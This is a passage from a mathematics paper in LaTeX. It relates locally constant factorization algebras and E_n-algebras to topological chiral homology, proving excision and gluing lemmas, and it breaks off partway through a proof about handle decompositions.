If $\mathcal{A}$ is a locally constant factorization algebra on $M\times D^{n-m}$, pushforward along the natural projection ${\pi_1}: M\times D^{m-n}\to M$ induces a factorization algebra ${\pi_1}_*(\mathcal{A})$ on $M$, which is locally constant. Given a monoidal $(\infty,1)$-category $\mathcal{C}$ and a manifold $X$, we denote by \textbf{$Fac_X^{lc}(\mathcal{C})$ the (sub)category of locally constant factorization algebra} on $X$ taking value in $\mathcal{C}$.
We recall the following Proposition which is essentially due to Lurie~\cite{L-VI} and Costello~\cite{Co}.
\begin{proposition} \label{P:Fac=En}
The pushforward along $p: \R^n\to pt$ induces an equivalence of $(\infty,1)$-categories $$p_*:{\mathop{Fac}}^{lc}_{\R^n}(\hkmod) \stackrel{\simeq}\longrightarrow E_n\textit{-}Alg_\infty.$$
\end{proposition}
\begin{proof} We sketch the proof. Details will appear elsewhere.
Restricting to open sets homeomorphic to an euclidean disk, we obtain a tautological functor
$\mathop{for}: {\mathop{Fac}}^{lc}_{\R^n}(\hkmod)\to N(\text{Disk}^{lc}(\R^n))\textit{-}Alg$ where $N(\text{Disk}^{lc}(\R^n))\textit{-}Alg$ stands for the full subcategory spanned by the locally constant $N(\mathop{Disk}(\R^n))$-algebras in the sense of~\cite[Definition 5.2.4.7]{L-VI}. By ~\cite[Theorem 5.2.4.9 and Example 5.2.4.3]{L-VI}, the latter category is equivalent
to $E_n\textit{-}Alg_\infty$ and, under this equivalence, $\mathop{for}(\mathcal{F})$ identifies with the global section $\mathcal{F}(\R^n)\cong p_*(\mathcal{F})$ for any locally constant factorization algebra $\mathcal{F}$.
We define an inverse to $p_*$ as follows. Let $\mathcal{CVX}$ be the set of open convex subsets of $\R^n$, which is a factorizing basis. To an $E_n$-algebra $E$, one associates a $\mathcal{CVX}$-factorization algebra $\mathcal{E}$ defined by $C\mapsto \mathcal{E}(C):= E$. As shown in~\cite{CG}, the $\mathcal{CVX}$-factorization algebra $\mathcal{E}$ has an \emph{unique} extension to a factorization algebra on $\R^n$ iff it satisfies the \v{C}ech condition
$\check{C}(\mathcal{U},\mathcal{E})\to \mathcal{E}(U)$ for any factorizing subcover $\mathcal{U}\subset \mathcal{CVX}$ of a convex open $U$.
This follows again from \cite[Section 5]{L-VI}. Indeed, by Theorem~5.3.4.10 in~\cite{L-VI}, the $E_n$-algebra $E$ gives rise to a factorizable cosheaf $\underline{E}$ on the Ran space $\text{Ran}(\R^n)$. It is easy to check that
the factorizing cover $\mathcal{U}$ gives rise to a cover of $\text{Ran}(U)$ precisely given by $P\mathcal{U}$. Since every open set in $\mathcal{U}$ is convex, and $\int_C E \cong E$ for any convex open subset $C\subset U$, by~\cite[Theorem 5.3.4.14]{L-VI}, we get a canonical equivalence $\check{C}(P\mathcal{U},\underline{E}) \stackrel{\simeq}\longrightarrow \check{C}(\mathcal{U},\mathcal{E})$ which makes the diagram
$$\xymatrix{ \underline{E}(\text{Ran}(U)) \ar[rd]_{\simeq}& \check{C}(P\mathcal{U},\underline{E}) \ar[l]_{\simeq} \ar[r]^{\simeq} & \check{C}(\mathcal{U},\mathcal{E}) \ar[ld]\\ & E & }$$
commutative (the top left equivalence follows from the fact that $\underline{E}$ is a cosheaf on $\text{Ran}(U)$). Thus, $\check{C}(\mathcal{U},\mathcal{E})\to \mathcal{E}(U)$ is an equivalence and $\mathcal{E}$ a $\mathcal{CVX}$-factorization algebra. We denote $q(E):=\mathcal{E}$ the induced factorization algebra over $\R^n$.
We need to check that $q(E)$ is locally constant. It is sufficient to prove that for any open $D$ homeomorphic to an euclidean disk, the map $\mathcal{E}(D) \to \mathcal{E}(\R^n)\cong E$ is an equivalence. This follows from the Kister-Mazur Theorem~\cite[Theorem 5.2.1.5]{L-VI} which yields an isotopy between the inclusion $D\hookrightarrow \R^n$ and an homeomorphism of $\R^n$.
By construction, $p_*\circ q(E) = p_*(\mathcal{E}) \cong E$. Conversely, $\mathcal{F}$ being locally constant, for any convex open set $C$, we have a canonical equivalence $\mathcal{F}(C) \cong \mathcal{F}(\R^n)$. It follows that the $\mathcal{CVX}$-factorization algebra defined by $p_*(\mathcal{F})$ is canonically equivalent to the restriction of $\mathcal{F}$ to convex open sets. By uniqueness of the extension of factorization algebra defined on a factorization basis, $q\circ p_* \cong \text{id}$.
\end{proof}
\begin{lemma}\label{L:EnFact} Let $M$ be a manifold and $\pi_1: M\times \R^d \to M$ the canonical projection.
The pushforward by $\pi_1$ induces an equivalence of $(\infty,1)$-categories $${\pi_1}_*: {\mathop{Fac}}^{lc}_{M\times \R^d}(\hkmod) \stackrel{\simeq}\longrightarrow {\mathop{Fac}}^{lc}_M({E_d}\textit{-}Alg_\infty)$$
\end{lemma}
In particular, if $\mathcal{F}\in \mathop{Fac}_{M\times \R^d}^{lc}(\hkmod)$, then its factorization homology $$HF(\mathcal{F},M\times \R^d)=p_*(\mathcal{F})(pt)\cong p_* \circ {\pi_1}_*(\mathcal{F})(pt)\cong HF({\pi_1}_*(\mathcal{F}),M)$$ is an $E_d$-algebra (here $p:X\to pt$ is the unique map).
\begin{proof}
Let $\pi_2: M\times \R^d \to \R^d$ be the second canonical projection.
For any open set $U$ in $M$, the restriction $\mathcal{A}_{|U\times \R^d}$ is a (locally constant) factorization algebra and ${\pi_2}_*(\mathcal{A}_{|U\times \R^d})$ is a factorization algebra on $\R^d$. Note that ${\pi_2}_*(\mathcal{A}_{|U\times \R^d})$ is locally constant. Indeed, let $B$ be any (open, homeomorphic to a) ball $B\subset \R^n$ and denote $\Ball^g(U)$ the set of geodesic convex open sets in $U$ (for a choice of a metric on $U$). Then the family $\Ball^g(U)\times B$ is a factorizing cover of $U\times B$. Since $\mathcal{A}$ is locally constant, for any inclusion $B\hookrightarrow \tilde{B}$ of open sets (homeomorphic to) balls and geodesic convex open set $O$ in $U$, the structure map $\mathcal{A}(O\times B) \to \mathcal{A}(O\times \widetilde{B})$ is a quasi-isomorphism. Using that $\mathcal{A}$ is a factorization algebra we get
\begin{eqnarray*} {\pi_2}_*(\mathcal{A}_{|U\times \R^d})(B)&\cong& \mathcal{A}(U\times B) \\&\cong & \check{C}(\Ball^g(U)\times B,\mathcal{A})\\
&\cong &\bigoplus_{k>0}\bigoplus_{\alpha_1\dots \alpha_k \in P\Ball^g(U)} \bigotimes_{i_1\in \alpha_1,\dots i_k\in \alpha_k}\mathcal{A}((U_{i_1}\cap \cdots \cap U_{i_k})\times B)[k-1]\\
&\cong &\bigoplus_{k>0}\bigoplus_{\alpha_1\dots \alpha_k \in P\Ball^g(U)} \bigotimes_{i_1\in \alpha_1,\dots i_k\in \alpha_k}\mathcal{A}((U_{i_1}\cap \cdots \cap U_{i_k})\times \tilde{B})[k-1]\\
&\cong & \check{C}(\Ball^g(U)\times \widetilde{B},\mathcal{A}) \; \cong\; {\pi_2}_*(\mathcal{A}_{|U\times \R^d})(\widetilde{B}),
\end{eqnarray*}
which proves that ${\pi_2}_*(\mathcal{A}_{|U\times \R^d})$ is locally constant (since the above composition is the structure map ${\pi_2}_*(\mathcal{A}_{|U\times \R^d})(B)\to {\pi_2}_*(\mathcal{A}_{|U\times \R^d})(\widetilde{B})$).
Hence, by Proposition~\ref{P:Fac=En}, ${\pi_2}_*(\mathcal{A}_{|U\times \R^d})$ is equivalent to an $E_d$-algebra $A_U $ and there are canonical equivalences $$ A_U \; \cong \; {\pi_2}_*(\mathcal{A}_{|U\times \R^d})(\R^d)\; \cong \; \mathcal{A}(U\times \R^d).$$
Since ${\pi_1}_*(\mathcal{A})(U)= \mathcal{A}(U\times \R^d)\cong A_U$, it follows that for each open subset $U\in Op(M)$, ${\pi_1}_*(\mathcal{A})(U)$ is an $E_d$-algebra.
Since $\mathcal{A}$ is a (pre)factorization algebra on $M\times \R^d$, the structure maps \begin{multline*}\mu_{U_1,\dots, U_k, V}:{\pi_1}_*(\mathcal{A})(U_1) \otimes \cdots \otimes {\pi_1}_*(\mathcal{A})(U_k) \cong \mathcal{A}(U_1\times \R^d)\otimes \cdots \otimes \mathcal{A}(U_k\times \R^d) \\
\longrightarrow \mathcal{A}(V\times \R^d)\cong {\pi_1}_*(\mathcal{A})(V)\end{multline*} are maps of $E_d$-algebras.
Further, since $\mathcal{A}$ is a factorization algebra and locally constant, it follows that ${\pi_1}_*(\mathcal{A})(U)$ belongs to $\mathop{Fac}^{lc}_M({E_d}\textit{-}Alg_\infty)$.
Now we build an inverse of ${\pi_1}_*$. Consider $\mathcal{B}$ in $\mathop{Fac}^{lc}_M({E_d}\textit{-}Alg_\infty)$. For any $U\in Op(M)$, $\mathcal{B}(U)$ is an $E_d$-algebra (compatible with the prefactorization algebra structure map) and thus defines canonically a locally constant factorization algebra on $\R^d$: $Op(\R^d) \ni V \mapsto \mathcal{B}(U)(V)$. A basis of neighborhood
of $M\times \R^d$ is given by the products $U\times V \in Op(M)\times Op(\R^d)$. In order to extend $\mathcal{B}$ to a factorization algebra on $M\times \R^d$, it is enough (by~\cite{CG}) to prove that the rule $(U\times V)\mapsto \mathcal{B}(U)(V)$ defines an $Op(M)\times Op(\R^d)$-factorization algebra where $Op(M)\times Op(\R^d)$ is the cover of $M\times \R^d$ obtained by taking the products of open sets.
The latter follows from the fact that the $E_d$-algebra structure is natural with respects to the inclusions $\mu_{U_1\dots, U_n, \tilde{U}}$ of pairwise disjoint open subsets of $\tilde{U}\in Op(M)$.
Hence the rule $(U\times V)\mapsto \mathcal{B}(U)(V)$ extends to give a factorization algebra $E(\mathcal{B})$ on $M\times \R^d$. It is immediate by construction that $E(\mathcal{B})$ is locally constant and functorial in $\mathcal{B}$.
It remains to prove that $E:\mathop{Fac}^{lc}_M({E_d}\textit{-}Alg_\infty) \to \mathop{Fac}^{lc}_{M\times \R^d}(\hkmod)$ is a natural inverse to ${\pi_1}_*$. Recall from above that the $E_d$-algebra structure on ${\pi_1}_*(\mathcal{A})(U)$ is the one of the $E_d$-algebra $\mathcal{A}(U\times \R^d)$, which corresponds to the factorization algebra $V\mapsto {\pi_2}_*(\mathcal{A}_{|U\times \R^d}(V)) \cong \mathcal{A}(U\times V)$. It follows that there is a natural equivalence $E\big({\pi_1}_*(\mathcal{A})\big) \big(U\times V\big)\cong \mathcal{A}(U\times V)$ in $\hkmod$. Further there are natural equivalences (in $ {E_d}\textit{-}Alg_\infty$) ${\pi_1}_*(E(\mathcal{B}))(U)\cong E(\mathcal{B})(U\times \R^d)\cong \mathcal{B}(U)$. The lemma now follows.
\end{proof}
Let $\mathcal{A}$ be a locally constant factorization algebra on a manifold $M$ and assume that there is a codimension $1$ submanifold (possibly with corners) $N$ of $M$ with a trivialization $N\times D^1$ of its neighborhood such that $M$ is decomposable as $M=X\cup_{N\times I}Y$ where $X,Y$ are submanifolds (with corners) of $M$ glued along $N \times D^1$. According to Lemma~\ref{L:EnFact} above $HF(\mathcal{A}_{|N\times D^1})$ is an $E_1$-algebra.
\begin{lemma}[Excision for locally constant factorization algebras]\label{L:Enmodule} $HF(\mathcal{A}_{|X})$ and $HF(\mathcal{A}_{|Y})$ are right and left $HF(\mathcal{A}_{|N\times D^1})$-modules and further,
$$HF(\mathcal{A}) \; \cong \; HF(\mathcal{A}_{|X}) \mathop{\otimes}_{HF(\mathcal{A}_{|N\times D^1})}^{\mathbb{L}} HF(\mathcal{A}_{|Y}).$$
\end{lemma}
\begin{proof}
Since $\mathcal{A}$ is locally constant, the canonical map $\mathcal{A}\Big(X\setminus \big(N\times [t, 1)\big)\Big) \to \mathcal{A}(X) $ is an equivalence for all $t\in D^1$. This follows, since for any open set of the form $U\times (a,b) \subset N\times D^1$, where $U$ is homeomorphic to a ball, there is a natural equivalence $\mathcal{A}(U\times (a,b)) \cong \mathcal{A}(U\times (a',b'))$ for any $a'<a<b<b'$ and that the open sets of the form $U\times (a,b)$ form a factorizing cover of $N\times D^1$. Similarly, we have natural equivalences of $E_1$-algebras $\mathcal{A}(N\times (a,b))\stackrel{\simeq}\longrightarrow N\times D^1$ (as in the proof of Lemma~\ref{L:EnFact}).
Let $U$ be an open set in $X$ and $V_1,\dots, V_k$ be (not necessarily disjoint) open subsets in $N$. Then for any sequence of pairwise disjoint open intervals $I_0,I_1,\dots, I_k$ in $D^1$ (where we assume $I_0=(-1,t_0)$ for some $t_0\in D^1$), the open $V_i \times I_i$ ($i=1\dots k$) are pairwise disjoint and disjoint from $X-\setminus \big(N\times [t_0, 1)$. To shorten notation, we denote $X_{t_0}:=X\setminus \big(N\times [t_0, 1)\big)$ The structure maps of a prefactorization algebras yield a map
\begin{eqnarray*}
\xymatrix{\mathcal{A}(X) \otimes \mathcal{A}(N\times D^1)^{\otimes n} \ar[rrd] \ar[rr]^{\hspace{-15pt}\cong} && \mathcal{A}(X_{t_0}) \otimes \mathcal{A}(N\times I_1) \otimes \cdots \otimes \mathcal{A}(N\times I_k) \ar[d]^{\mu_{X_{t_0}, N\times I_1\dots N\times I_k, X}}\\ && \mathcal{A}(X)}
\end{eqnarray*}
This map is natural with respect to the prefactorization algebra structure of $\mathcal{A}$ and $\mathcal{A}_{N\times D^1}$, hence induces a structure of right $HF(\mathcal{A}_{N\times D^1})\cong \mathcal{A} ({N\times D^1})$-module on $HF(\mathcal{A}_{|X})\cong \mathcal{A}(X)$. A similar argument applies to $HF(\mathcal{A}_{|Y})$.
The open sets $X_{t_0}$, $Y_{s}:=Y\setminus \big(N\times (-1,s]\big)$ and $N\times (a,b) $ (where $t_0, s, a<b \in D^1$) forms a factorizing cover $\mathcal{N}$ of $M$ and we also denote $\widetilde{\mathcal{N}}$ the induced factorizing cover of $N\times D^1$. A finite sequence of pairwise disjoint open sets in $\mathcal{N}$ is just a sequence $X_{to}, N\times (t_1,t_2),\dots, N\times (t_m, t_{m+1}), Y_{t_m}$ for $-1<t_0<\cdots<t_{m+2}<1$. Note that the complexes $\mathcal{A}\Big(N\times (t_i, t_{i+1})\Big)$ are canonically equivalent to ${\pi_2}_\ast(\mathcal{A})\Big((t_i,t_{i+1})\Big)$, where $\pi_2: N\times D^1 \to D^1$ is the projection on the second factor. Since $\mathcal{A}(X_{t_0})\cong \mathcal{A}(X)$, $\mathcal{A}(Y_{t_{m+2}})\cong \mathcal{A}(Y)$, we have
$$HF(\mathcal{A}) \;\cong \; \check{C}(\mathcal{N},\mathcal{A}) \; \cong \; \mathcal{A}(X) \otimes \check{C}(\widetilde{\mathcal{N}},\mathcal{A}_{|N\times D^1})\otimes \mathcal{A}(Y).$$
Note that the canonical map $p:M\to pt$ factors as $M\stackrel{q}\to [-1,1] \to pt$ where $q$ is the map identifying $X\setminus (N\times D^1)$ with $\{-1\}$, $Y\setminus (N\times D^1)$ with $\{1\}$ and projecting $N\times D^1$ onto $D^1=(-1,1)$ by the second projection. Then the factorization homology $HF(\mathcal{A})\cong p_\ast(\mathcal{A}) \cong p_\ast\big(q_\ast(\mathcal{A}) \big)$ identifies with the factorization homology of the locally constant factorization algebra $q_\ast(\mathcal{A})$ on the closed interval $[-1,1]$ and further $\check{C}\big(\mathcal{N},\mathcal{A}\big)\cong \check{C}\big(\mathcal{I},q_\ast(\mathcal{A})\big)$ where $\mathcal{I}$ is the (factorizing) cover of $[-1,1]$ given by the intervals. Thus we are left to the case of a (locally constant) factorization algebra on $[-1,1]$ which assign the $E_1$-algebra $\mathcal{A}(N\times D^1)$ to any open interval $(a,b)$, and the modules $\mathcal{A}(X)$ to $[-1,t)$ and $\mathcal{A}(Y)$ to $(s,1]$ (with respect to the modules structures defined in the beginning of the proof).
By~\cite{Co,CG}, its factorization homology is the (derived) tensor product $\mathcal{A}(X) \otimes^{\mathbb{L}}_{\mathcal{A}(N\times D^1)}\mathcal{A}(Y)$. Indeed, the \v{C}ech complex $\check{C}\big(\mathcal{I},q_\ast(\mathcal{A})\big)$ is equivalent to the
two-sided Bar construction $\mathop{Bar}\Big(\mathcal{A}(X), \mathcal{A}(N\times D^1), \mathcal{A}(Y) \Big)$ (strictly speaking after replacing the $E_1$-algebra and modules by differential graded associative ones).
\end{proof}
\section{Relationship with topological chiral homology}\label{S:TCH}
\subsection{Review of topological chiral homology \`a la Lurie}\label{S:ReviewTCH}
Let $A$ be an $E_n$-algebra and $M$ a manifold of dimension $m$ which is \emph{(stably) $n$-framed}, that is a manifold of dimension $m$ equipped with a framing of $M\times D^{n-m}$. The
\textbf{topological chiral homology} of $M$ with coefficients in $A$ was defined in~\cite{L-TFT,L-VI} and~\cite{Francis} and will be denoted $\int_{M} A$. Note that the above definition \emph{does} depend on the framing in general, even though it is not explicit in the notation\footnote{note that we also do not write the factor $D^{n-m}$ in the notation}.
Further $\int_M A$ is an $E_{n-m}$-algebra in general, see~\cite{L-TFT,L-VI}.
We refer to the aforementioned references as well as to\cite{Francis,Andrade,AFT} for a precise definition.
If $X$ is a manifold, let $N(\text{Disj}(X))$ be the $\infty$-category associated to the poset given by finite disjoint union of open sets in $X$ homeomorphic to an euclidean disk, ordered by inclusion. According to Lurie~\cite[Remark 5.3.2.7]{L-VI} we have, roughly, that
\begin{definition}\label{Def:TCHasColimit} Let $M$ be an $n$-framed manifold of dimension $m$ and $A$ an $E_n$-algebra. The \emph{topological chiral homology} $\int_M A$ is the colimit $\colim_{} \psi_M$ with $\psi_M:N(\emph{\text{Disj}}(M\times D^{n-m}))\to \hkmod$ the diagram given by the formula \begin{equation}\label{eq:DefTCH}\psi_M(V_1\cup\cdots\cup V_n)=\int_{V_1}A \otimes \cdots \otimes \int_{V_n} A\cong A\otimes \cdots \otimes A\end{equation} where $V_1,\dots, V_n$ are disjoint open sets homeomorphic to a ball (the latter equivalence follows from \cite[Example 5.3.2.8]{L-VI}).
\end{definition}
For our purpose, among the properties satisfied by $\int_M A$, we will mainly need the gluing property given in Proposition~\ref{P:TCHpushout} below and the fact that $\int_{pt}A \cong A$. Indeed, the gluing property of topological chiral homology comes from
the fact that topological chiral homology defines an (extended) topological field theory in some appropriate monoidal $(\infty,n)$-category. In view of the cobordism hypothesis, the latter property can actually be used as a definition of topological chiral homology~\cite[Theorem 4.1.24]{L-TFT}.
\begin{remark}\label{R:Enoperad} The models for $E_n$-algebras that we are considering are given by $E_n$-($\infty$-)operads as introduced in~\cite[Section 5.1]{L-VI} in the symmetric monoidal ($(\infty,1)$-)category $(\hkmod,\otimes)$. The category of $E_n$-algebras is symmetric monoidal (\cite[Section 5.1.5]{L-VI}, \cite[Section 1.8]{L-III}) and, furthermore,
there is a commutative diagram of operads
\begin{equation}\label{E:EnCom} \xymatrix{E_1 \ar@{^{(}->}[r] \ar[rrd]_{j_1}& E_2\ar@{^{(}->}[r] \ar[rd]^{j_2}& \dots \dots \ar@{^{(}->}[r]& E_n\ar@{^{(}->}[r] \ar[ld]^{j_n}& \dots \\
& & \mathop{Com} & & }\end{equation}
where $\mathop{Com}$ is the operad of commutative (differential graded) algebras such that all maps are monoidals. Note that most models for $E_n$-algebras come with such monoidal properties and also as nested sequences (for instance, this is the case for the models based on the Barratt-Eccles operad~\cite{BF}). In particular, a commutative differential graded algebra $A$ is naturally an $E_d$-algebra for any integer $d$. We write $j_d^*(A)$ for the $E_d$-algebra structure on $A$ induced by the map of operads $j_d:E_d\to \mathop{Com}$ whenever we want to put emphasis on this $E_d$-algebra structure.
Likewise, any $E_n$-algebra $A$ is naturally an $E_d$ algebra for $d\leq n$. Furthermore, we say that an $A$-module $M$ has a \emph{compatible} structure of $E_d$-algebras ($d\leq n$) if the structure maps of the module structure are maps of $E_d$-algebras, where $A$ is equipped with its natural $E_d$-algebra induced by the diagram of operads~\eqref{E:EnCom}.
\end{remark}
\begin{remark}
With the exception of section \ref{SEC:En[M]-alg}, this paper only deals with a fixed $E_n$-algebra $A$, which, when $M$ is framed, is an example of a locally constant $N(\mathop{\mbox{Disk}}(M))$-algebra in the sense of Lurie~\cite{L-VI}, and for which topological chiral homology can be defined, too. In particular, we will show that $A$ also defines canonically a locally constant factorization algebra on $M$ in the sense of Costello and Gwilliam~\cite{CG,Co}. This also means, that $\int_M A$ computes the global sections of a natural cosheaf defined on the Ran space of $M$ (see~\cite[Section 5.3.2]{L-VI}).
\end{remark}
One of the main consequence of the interpretation~\cite{L-TFT} of topological chiral homology as an invariant produced by an (extended) topological field theory in some appropriate monoidal $(\infty,n)$-category is the following excision property.
\begin{proposition}[Gluing for topological chiral homology] \label{P:TCHpushout} Let $M$ be an $n$-framed manifold (possibly with corners) of dimension $m$, (\emph{i.e.} $M\times D^{n-m}$ is framed). Assume that there is a codimension $1$ submanifold (possibly with corners) of $M$ of the form $N\times I^{m-1-j}$ (for some $0\leq j\leq m-1$) with a trivialization $N\times I^{m-j}$ of its neighborhood and that $M$ is decomposable as $M=X\cup_{N\times I^{m-j}}Y$ where $X,Y$ are submanifolds (with corners) of $M$ glued along $N \times I^{m-j}$. We endow $X,Y$ and $N$ with the $n$-framing induced from $M$. Let $A$ be an $E_{n}$-algebra. Then
\begin{itemize}
\item $\int_N A$ is an $E_{n-j}$-algebra.
\item $\int_M A$, $\int_X A$, and $\int_Y A$ are $E_{n-m}$-algebras. Further $\int_X A$ and $\int_Y A$ are also modules over the $E_{n-j}$-algebra $\int_N A$.
\item The above module and algebra structures are compatible. Note that this uses the once and for all fixed telescopic sequence~\eqref{E:EnCom} of models for $E_n$-operads.
\item There is a natural equivalence of $E_{n-m}$-algebras $$\int_X A\, \mathop{\otimes}\limits^{\mathbb{L}}_{\int_N\! A} \, \int_Y A \stackrel{\simeq}\longrightarrow \int_M A.$$
\end{itemize}
\end{proposition}
\begin{proof}
This is explained in~\cite[Section 5.3.4]{L-VI} and~\cite[Section 4.1]{L-TFT}, also see the proof of~\cite{Francis, AFT}. It is also an immediate consequence of Lemma~\ref{L:TCHpushout2} below, in the case where the manifolds are framed since, for a $n$-framed manifold $X$, an $E_n$-algebra yields canonically an $\mathbb{E}[X]$-algebra.
\end{proof}
{Let us explain roughly, how the above Proposition can be seen in terms of extended topological field theory and the cobordism hypothesis. Consider the monoidal $(\infty,n)$-category $E_{\leq n}\textit{-}Alg$ which is fully dualizable~\cite{L-TFT}. Each object $A$ is an $E_{n}$-algebra and defines a (unique up to equivalence) \emph{extended topological field theory} $\psi_A: \bordfr_{n} \to E_{\leq n}\textit{-}Alg$ according to~\cite[Theorem 2.4.6]{L-TFT} and \cite[Section 4.1]{L-TFT}. The objects of the $(\infty,n-1)$-category $\mathop{Hom}_{E_{\leq n}\textit{-}Alg}(A,B))$ of morphisms between two $E_n$-algebras $A$, $B$ are $(A,B)$-bimodules equipped with a compatible $E_{n-1}$-algebra structure (in the sense of the telescopic sequence of $E_k$-operads~\eqref{E:EnCom}). Note that the claims made in Section 4.1 in~\cite{L-TFT} actually essentially follows from~\cite[Theorem 1.2.2]{L-VI} and Sections 2 of~\cite{L-VI}.
The relationship between topological chiral homology with coefficients in $A$ and the field theory $\psi_A$ is as follows. Let $Z$ be an $n$-framed manifold of dimension $d$ (framing of $Z\times D^{n-d}$). Then $Z$ defines a $d$-morphism in $\bordfr_{n}$, thus $\psi_A(Z)$ is an $E_{n-d}$-algebra and there is a natural equivalence
$$\psi_A(Z)\cong \int_Z A$$ see~\cite[Theorem 4.1.24]{L-TFT}.
Now assume $M$ is a manifold following the assumption of Proposition~\ref{P:TCHpushout}. Thus $M\times D^{n-m}$ is framed and we have a decomposition $M=X\cup_{N\times I^{m-j}}Y$ of $M$ where $X,Y$ are submanifolds of $M$ glued along a submanifold $N\times I^{m-1-j}$ of codimension $1$ in $M$. Then $N$ is a $j$-arrow in $\bordfr_{n}$ and $X,Y$ are $m$-arrows. Hence $\psi_A(N)\cong \int_N A$ is a $j$-arrow in $E_{\leq n}\textit{-}Alg$, hence an $E_{n-j}$-algebra. Similarly, $\psi_A(X)$ and $\psi_A(Y)$ are $E_{n-m}$-algebras. Since $N\times I^{m-1-j}$ is in the boundary of $X$ and $Y$, $\psi_A(X)$ and $\psi_A(Y)$ inherits $\psi_A(N)$-modules structures. Further $M$ is equivalent to the composition of $X, Y$ along $N$ in the $(\infty,n)$-category $\bordfr_{n}$. Thus it follows that there is a natural equivalence
$\psi_A(X)\otimes_{\psi_A(N)}^{\mathbb{L}} \psi_A(Y)$ in $E_{\leq n}\textit{-}Alg$ since the composition in the $(\infty,n)$-category is induced by derived tensor products. }
\medskip
We finish this Section with the following Lemma.
\begin{lemma} \label{L:TCHcoproduct} Let $A$ be an $E_n$-algebra and $(M_i)_{i\in I}$ a family of $n$-framed manifolds of dimension $m$. There is a natural equivalence of $E_{n-m}$-algebras $$ \colim_{\small \begin{array}{l}F \subset J \\
F \mbox{ finite}\end{array}
} \left(\bigotimes_{f \in F} \int_{M_f} A \right) \stackrel{\simeq} \longrightarrow \int_{\coprod_{i\in I} M_i} A .$$
\end{lemma}
\begin{proof}
We set $M=\coprod_{i\in I} M_i$ and, for any finite subset $F$ of $I$, we denote $M_F:= \coprod_{f\in F} M_f$. The inclusion $M_F\subset M$ yields a canonical map $N({\text{Disj}}(M_F\times D^{n-m})) \to N({\text{Disj}}(M\times D^{n-m}))$. Since an object in $N({\text{Disj}}(M\times D^{n-m}))$ is a \emph{finite} disjoint union of connected open sets in $M$, every object in $N({\text{Disj}}(M\times D^{n-m}))$ lies in some $N({\text{Disj}}(M_F\times D^{n-m}))$ for a finite $F$. Hence we have an equivalence $N({\text{Disj}}(M\times D^{n-m}))\cong \colim_{F\text{ finite}}N({\text{Disj}}(M_F\times D^{n-m}))$ of $\infty$-categories and, by Definition~\ref{Def:TCHasColimit}, an natural equivalence
$$ \int_M A \cong \colim \psi_M \cong \colim_{F\text{ finite}} \psi_{M_F} \cong \colim_{F\text{ finite}} \int_{M_F} A.$$
Now the lemma follows from~\cite[Theorem 5.3.3.1]{L-VI} which gives a natural equivalence
$ \left(\bigotimes_{f \in F} \int_{M_f} A \right) \stackrel{\simeq}\to \int_{M_F} A$ for all finite $F$.
\end{proof}
\subsection{Locality axiom and the equivalence of topological chiral homology with higher Hochschild functor for CDGAs} \label{S:locality}
In view of Proposition~\ref{P:TCHpushout} and Theorem~\ref{T:derivedfunctor}, Morse theory
(or any triangulation) suggests the following result, which is the main result of this section.
\begin{theorem} \label{T:TCH=CH} Let $M$ be a manifold of dimension $m$ endowed with a framing of
$M \times D^k$ and $A$ be a differential graded commutative algebra viewed as an $E_{m+k}$-algebra.
Then, the topological chiral homology of $M$ with coefficients in $A$, denoted by $\int_M A$ is
equivalent to $CH^\com_M(A)$ viewed as an $E_k$-algebra (in other words to $j_k^*(CH^\com_M(A))$).
\end{theorem}
In particular, topological chiral homology $\int_M A$ with coefficient in a CDGA $A$ is always
equivalent to a CDGA and is defined for \emph{any} manifold $M$.
\smallskip
This theorem is similar to~\cite[Theorem 5.3.3.8]{L-VI} (with the difference that we assume $M$ to be smooth and keep track of the $E_k$-algebra structure). In this section, we wish to prove it
by using a straightforward geometrical approach based on the gluing property. Indeed, the key idea
to prove Theorem~\ref{T:TCH=CH} is to use handle decomposition which is very appropriate to deal
with manifolds and the definition of topological chiral homology. However, note that, with respect
to Hochschild chains, a representation of $M$ as a CW complex is already nice enough.
Before proving Theorem~\ref{T:TCH=CH}, we recall a few facts on the handle decompositions. Let $M$ be
a smooth manifold of dimension $m$. A \emph{handle decomposition} of $M$ is a
sequence $\emptyset \subset M_0 \subset \cdots \subset M_m =M$, where each $M_j$ is obtained by
attaching $j$-handles to $M_{j-1}$, see \cite{Mil}. That is gluing a copy
of $H^j= D^j \times D^{m-j}$ using the attaching map $ S^{j-1} \times D^{m-j} \to \partial M_{j-1}$
which is assumed to be an embedding. In particular all handles of same dimension are attached using
diffeomorphisms.
\smallskip
We can achieve such a handle decomposition for $M$ using Morse theory as follows. Let
$f: M \to \mathbb R$ be a Morse function with critical points $p_1, \cdots, p_k$ numbered in a way
that $f(p_1) < \cdots < f(p_k)$. Choose $a_0, \cdots, a_k$ such that $a_0 < f(p_1) < a_1 < \cdots < a_{k-1} < f(p_k) < a_k$.
Now it is sufficient to note that $f^{-1}([a_{i-1}, a_{i}])$ is diffeomorphic to attaching a
$j$-handle to $f(a_{i-1}) \times [0, 1]$, where $j$ is the index of the critical point $p_i$,
\emph{i.e.} the number of the negative eigenvalues of the Hessian of $f$ at that critical point.
For example a torus with the height function is first given by attaching a $D^0 \times D^2$ to
the empty set, then attaching a $D^1 \times D^1$ (think of it as a thin ribbon) to the boundary of
the previous $D^2$. Then attaching another ribbon to the boundary of the previous ribbon, and the
finally attaching a $D^2 \times D^0$ to what has been obtained along the boundary.
\begin{lemma}\label{L:TCHhandling}
Let $M$ be an $n$-framed manifold and $N$ be an $n$-framed manifold obtained from $M$ by attaching a countable sequence of handles $(H_i)_{i\in \N}$. For any $n\in \N$, we write $X_{k}$ for the result of attaching the first $k$-handles to $M$. For any $E_n$-algebra $A$, there is a natural equivalence
$$ \colim_{k\in \N} \int_{X_k} A \stackrel{\simeq} \longrightarrow \int_N A.$$
\end{lemma}
\begin{proof} We may assume $\dim(M)=n$. The maps $X_k\to X_{k+1}$ yield
a diagram \begin{equation} \label{eq:seqbfD} N({\text{Disj}}(M)) \to N({\text{Disj}}(X_1)) \to \cdots \to N({\text{Disj}}(X_k)) \to \cdots \to N({\text{Disj}}(N))\end{equation} of faithfull maps, hence canonical maps $\colim_{k\in \N} N({\text{Disj}}(X_k)) \to N({\text{Disj}}(N))$ and
